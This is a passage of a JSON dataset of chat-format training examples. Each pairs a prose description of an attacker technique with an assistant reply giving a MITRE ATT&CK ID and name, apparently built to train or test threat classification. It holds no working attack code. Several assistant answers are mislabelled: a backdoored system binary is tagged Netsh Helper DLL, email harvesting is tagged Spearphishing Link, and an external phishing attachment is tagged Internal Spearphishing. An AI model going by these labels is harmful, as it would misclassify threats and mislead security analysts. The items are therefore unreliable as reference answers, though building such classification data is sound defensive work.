            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary provides a Python script that is transformed into a compiled bytecode executable on the compromised host, hiding malicious logic from static scanners."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops files with the hidden attribute set and places them inside a disguised subdirectory named 'System32' within the application folder."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool disables the Windows Recovery Environment (WinRE) and clears all recovery partitions to stop system restoration."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a software exploit to bypass authentication mechanisms and access sensitive information, which technique does this describe?"
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker duplicates a token of a domain admin account to gain enterprise‑wide access."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee receives a chat message with a compressed archive; after extracting, they double‑click the included .exe, unknowingly launching a credential‑stealing tool."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 uses SFTP to transfer stolen data to their command‑and‑control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted spearphishing message is sent to a finance team member, with an attachment named 'Invoice_Q3.xlsx' that executes a PowerShell payload when opened."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors drop a custom DLL into the System32 folder and register it as a Terminal Services component to achieve persistence on the server."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script alters the token signing process in a hybrid identity setup, producing valid access tokens for attacker‑controlled accounts."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign results in the attacker resetting the password of a high‑value user account."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor exfiltrates system information by piggybacking on the existing C2 heartbeat messages."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program replicates itself to any newly attached removable media, creating a hidden folder that contains the payload and a shortcut that runs it."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor captured network traffic with Wireshark and parsed the session table to map active connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deployed a wiper malware that overwrote critical system files and securely erased user data to prevent recovery."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool spins up a VMware virtual instance and runs its command and control client inside, keeping the host clean."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script accesses the system's shadow file to harvest password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the IPv6 Neighbor Discovery Protocol to silently deliver malicious payloads to victim systems."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the spctl utility with the --master-disable flag to turn off Gatekeeper enforcement on the target Mac."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through process argument spoofing, the threat actor disguises a credential dumping tool as a routine system scan."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker collects GPO information by parsing the output of 'net group \"Domain Admins\" /domain' for policy-related groups."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use nslookup and dig commands to enumerate subdomains and associated IP addresses of the victim's domain."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a compromised account to revert a terminated Azure VM back to its previous configuration, restoring their foothold."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a shared folder in a victim’s iCloud Drive and copies confidential reports into it, granting remote access to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue extension requests excessive permissions to read and write files on the local filesystem."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits MQTT over TCP to communicate with IoT devices for data theft."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the user’s crontab to run a keylogger binary every time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using compromised credentials, the intruder triggers a snapshot restoration on a cloud VM, thereby erasing modifications made during the breach."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses a bespoke binary-to-text encoding that mixes hexadecimal and Base64 characters to disguise data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An automated botnet scans the IPv4 address space for vulnerable IoT devices running default Telnet credentials."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker executes a batch file that empties the command shell's history buffer and deletes history files to hide their presence."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a malicious transport agent in Microsoft Exchange to redirect internal communications to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a staging server on the internal network to aggregate data collected from multiple compromised endpoints."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through automated WHOIS requests, the attacker collects metadata about domain creation, last update, and registrar organization."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team configures a scheduled task in a Rancher-managed cluster to periodically run a credential dumping tool."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary’s script extracts a zip‑compressed payload, decodes it from Base64, and then executes the resulting binary on the target system."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary runs a PowerShell script that reads the LSA Secrets registry key to obtain service account passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder modifies the IAM policy document to include additional permissions for an existing cloud service account."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromise of the ISP’s DNS infrastructure enabled large‑scale redirection of traffic."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a specially crafted CHM file that triggers the HTML Help executable to launch a hidden PowerShell instance, effectively proxying system binary execution."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Password spraying is executed by trying 'Welcome1' on every user account in an Active Directory domain."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using unauthenticated access to the CRI (Container Runtime Interface) API, the adversary extracts credentials used for pulling images."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign distributes emails that appear to be from the IT help desk, prompting users to enter their VPN passwords on a counterfeit login page."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies system binaries to include a backdoor that runs with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware runs a PowerShell command to enumerate the computer's OS version, hostname, and hardware specs."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service is reconfigured to run a malicious executable instead of the legitimate one."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious scripts use WebSocket connections to maintain real-time communication with a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CI/CD pipeline uses a webhook to transmit source code snippets to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team uses email harvesting tools to collect addresses from the target’s website contact forms."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a DLL side-loading technique to execute code that creates a hidden domain account."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a malicious DLL loaded into a legitimate Windows process to execute code with the process's privileges."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a storage SDK to retrieve a full list of objects in a victim's S3 bucket."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators renamed a rogue executable to \"taskmgr.exe\" and placed it in the startup folder to gain persistence while appearing benign."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious EXIF metadata is added to a legitimate-looking photo; when the user views the photo on a mobile device, the hidden payload executes."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor reads from a network shared drive and writes the data to a staging area for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The perpetrator leverages a third‑party utility \"DBAN\" to issue a DoD 5220.22‑M secure erase on all attached storage devices before leaving the network."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised domains are used to host staging files before they are delivered to infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary gains access to a router's CLI, then changes the local authentication method from password-based to a weak default password, allowing persistent unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accessed the internal ticketing system and changed the home screen to display a hostile message targeting management."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies Outlook inbox rules to redirect security alerts to a non‑existent folder, effectively hiding the artifacts."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a new launchd job that executes a backdoor binary every hour, using the /System/Library/LaunchDaemons directory."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious payload repeatedly starts resource‑heavy background jobs on a Windows PC, leading to CPU saturation and service denial."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware checks for removable media and, if present, encrypts and writes stolen files before exiting."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom C2 module invokes 'NtQuerySystemInformation' with SystemProcessInformation to list active processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts a malicious shortcut (.lnk) file disguised as a document; the user double‑clicks it, causing the embedded payload to execute."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool creates a hidden resource fork in a system log file to store a backdoor payload."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor overwrites the disk's partition table and filesystem metadata to make the storage unusable."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers create a new SQL stored procedure that runs a PowerShell script, achieving lateral movement to other servers."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor hijacks a VPS by exploiting an unpatched container runtime vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware performs a WMI query 'SELECT * FROM Win32_ComputerSystem' across the enterprise."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a domain controller, the threat actor forges a Golden Ticket by abusing the KRBTGT password to impersonate any user, including administrators."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a custom protocol tunneling method, encapsulating C2 communications within legitimate FTP sessions to evade network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a network of compromised hosts that rapidly change DNS records to hide malicious servers, a technique known as Fast Flux."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers insert NOP sleds and random data blocks into the binary's code sections, padding the file without altering functionality to obscure its true size."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used Regsvr32 to register a malicious scriptlet hosted on a compromised web server, achieving code execution without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits a vulnerable Electron application by injecting JavaScript that runs system-level commands to create a new admin user."
            },
            {
                "role": "assistant",
